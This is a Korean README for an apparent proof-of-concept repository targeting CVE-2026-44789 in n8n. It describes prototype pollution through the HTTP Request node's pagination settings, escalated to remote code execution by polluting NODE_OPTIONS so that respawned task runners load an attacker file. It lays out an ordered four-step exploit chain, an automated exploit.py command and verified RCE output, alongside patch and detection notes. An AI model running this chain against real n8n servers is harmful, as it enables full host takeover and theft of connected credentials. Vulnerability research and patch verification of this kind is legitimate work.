
CVE-2026-44789 — n8n <1.123.43 HTTP Request pagination prototype pollution to RCE (NODE_OPTIONS runner-spawn gadget). Lab + automated PoC, verified e2e.
인증된 n8n
< 1.123.43워크플로 생성자가 n8n 서버 프로세스의 HTTP 요청 노드 페이지네이션 설정을 통해Object.prototype을 오염시키고, n8n이 태스크 실행기를 생성하는 방식을 악용하여 원격 코드 실행으로 확대합니다. 오염된NODE_OPTIONS가 하위node프로세스로 유출되어 Code 노드 샌드박스를 우회합니다.
| CVE | CVE-2026-44789 |
| 권고 | GHSA-c8xv-5998-g76h |
| 영향받는 버전 | < 1.123.43, 2.0.0-rc.0 … < 2.20.7, 2.21.0 … < 2.22.1 |
| 수정된 버전 | 1.123.43 / 2.20.7 / 2.22.1 |
| 분류 | CWE-1321 (프로토타입 오염) → CWE-94 (RCE) |
| CVSS | 9.4 (CVSS 4.0) / 심각 |
| 인증 | 인증 필요 (워크플로 생성/수정 권한) |
| 상태 | 확인됨 — n8nio/n8n:1.123.42에서 종단간 전체 체인 재현 완료 |
공개 권고문에는 오염이 "다른 기술과 결합하면 RCE로 이어질 수 있다" 고만 명시되어 있을 뿐, 구체적인 가젯은 공개되지 않았습니다. 이 저장소는 구체적이고 검증된 프로토타입 오염 → RCE 체인을 문서화하고 자동화합니다.
packages/nodes-base/nodes/HttpRequest/V3/HttpRequestV3.node.ts, 페이지네이션 모드
updateAParameterInEachRequest:
paginationData.request[parameter.type]![parameterName] = parameterValue;
parameter.type, parameterName 및 parameterValue는 모두 워크플로 JSON(공격자 제어)에서 비롯됩니다.
parameter.type = "__proto__" 인 경우,
paginationData.request["__proto__"]는 Object.prototype으로 확인되므로,
이 할당은 Object.prototype[parameterName] = parameterValue를 작성합니다. 이는 n8n 서버 프로세스에서 전역 프로토타입 오염입니다.
수정 사항은 paginationData.request에 대해 Object.create(null)을 사용하므로,
["__proto__"]는 프로토타입 대신 일반적인(null-proto) 키가 됩니다.
packages/cli/src/task-runners/task-runner-process-js.ts는 JS 태스크 실행기를 생성합니다:
return spawn('node', [...flags, startScript], { env: this.getProcessEnvVars(...) });
Node의 normalizeSpawnArguments는 for (const key in env) 를 사용하여 하위 환경을 빌드합니다.
이는 상속된 열거 가능 속성을 열거합니다.
따라서 Object.prototype.NODE_OPTIONS = "--require=/path/evil.js"를 오염시키면
실행 중인 실행기의 환경으로 유출됩니다. 하위 프로세스는 node이며, NODE_OPTIONS를 인식하므로
시작 시 공격자의 파일을 --require하여 Code 노드 샌드박스 외부에서 n8n 서비스 사용자 권한으로
코드가 실행됩니다.
실행기는 시작 시 실행되지만, 프로세스가 종료될 때마다 수명 주기가 다시 시작됩니다(onProcessExit → start()).
공격자는 Code 노드(태스크 타임아웃 / OOM)로 실행기를 교수형시킨 후, 오염 후에 다시 시작되도록 강제합니다.
exploit.py가 수행하는 작업)1. /tmp/evil.js 작성 Set → Convert to File → Read/Write Files 노드를 통해
2. 태스크 실행기 교수형 Code 노드를 통해 ( while(true){} ) [오염 전]
3. Object.prototype.NODE_OPTIONS 오염 HTTP 요청 노드를 통해 ( type="__proto__" )
4. 교수형 실행기 타임아웃 → 메인 프로세스가 'node' 재시작 → NODE_OPTIONS 상속
→ require('/tmp/evil.js') → RCE
순서가 중요합니다. 오염은 NODE_OPTIONS를 Object.prototype의 열거 가능한 own-less 키로 만듭니다.
n8n의 TypeORM 계층이 엔티티에 대한 for…in에서 이를 감지하여 워크플로 지속성을 깨뜨립니다.
따라서 실행기는 오염이 발생하기 전에 이미 교수형 상태여야 합니다. 그러면 재시작이 오염된 환경을 선택합니다.
구성 범위 (먼저 읽으십시오). 프로토타입 오염 프리미티브는 구성 변경 없이 영향을 받는 모든 버전에서 발생합니다. RCE 가젯은 태스크 실행기가 필요하며, 브랜치별로 도달 방식이 다릅니다:
- n8n 2.x 영향 버전 (2.0.0–2.20.6, 2.21.0–2.22.0): 태스크 실행기는 기본/필수입니다 (
N8N_RUNNERS_ENABLED는 더 이상 사용되지 않음 →SAFE_TO_REMOVE). 따라서 전체 RCE 체인은 기본 구성입니다.- n8n 1.123.x 영향 버전 (이 실험 이미지): 태스크 실행기는 기본값이 꺼져 있으므로, 실험에서는
N8N_RUNNERS_ENABLED=true를 설정하여 2.x 기본값을 반영합니다.N8N_RUNNERS_TASK_TIMEOUT는 교수형 실행기의 재시작을 더 빠르게 발생시키기 위해 낮춘 것일 뿐, 버그에 필요한 것은 아닙니다.
docker compose -f lab/docker-compose.yml up -d # n8nio/n8n:1.123.42, 2.x를 반영하기 위해 실행기 활성화
python3 exploit.py http://127.0.0.1:5678 -c "id; hostname"
# 명령 출력이 n8n 호스트에 나타납니다:
docker compose -f lab/docker-compose.yml exec n8n cat /tmp/n8n_rce_proof
# RCE uid=1000(node) gid=1000(node) groups=1000(node)
# <hostname>
exploit.py는 Python 표준 라이브러리만 사용하며 n8n REST API를 종단간 구동합니다
(소유자 설정/로그인 → 워크플로 배포 → 체인 실행).
관찰 결과:
[*] step 1: wrote --require payload to /tmp/evil.js (via Read/Write Files node)
[*] step 2: dispatched a hanging task -> runner is now busy
[*] step 3: polluted Object.prototype.NODE_OPTIONS = --require=/tmp/evil.js
[*] waiting for the hung runner to time out, be respawned, and inherit NODE_OPTIONS ...
RCE uid=1000(node) gid=1000(node) groups=1000(node),1000(node)
uid=1000(node)는 실행기의 서비스 계정이며, 출력은 실시간 id/uname 상태입니다.
입력 에코가 아닌 실제 실행 결과입니다.
워크플로를 생성하거나 수정할 수 있는 모든 인증된 사용자는 n8n 호스트에서 OS 명령을 실행할 수 있으며, Code 노드 샌드박스를 벗어나 자동화 서버와 그 서버가 접근 가능한 모든 자격 증명/시스템을 완전히 장악할 수 있습니다.
Object.create(null)로 빌드되어 __proto__ 쓰기를 차단합니다).--disable-proto=delete / --disallow-code-generation-from-strings로 강화되어 있지만,
이는 오염이 발생하는 메인 프로세스가 아닌 실행기를 보호합니다.HTTP 요청 페이지네이션 매개변수에서 type 값이 __proto__ / constructor / prototype인
워크플로를 플래그하고, n8n/TypeORM 로그에서 NODE_OPTIONS가 엔터티 속성 오류로 나타나는지 확인하십시오.
오염 프리미티브, Node for…in 환경 동작, 실행기 수명 주기 및 패치에 대한 자세한 내용은
ANALYSIS.md를 참조하십시오.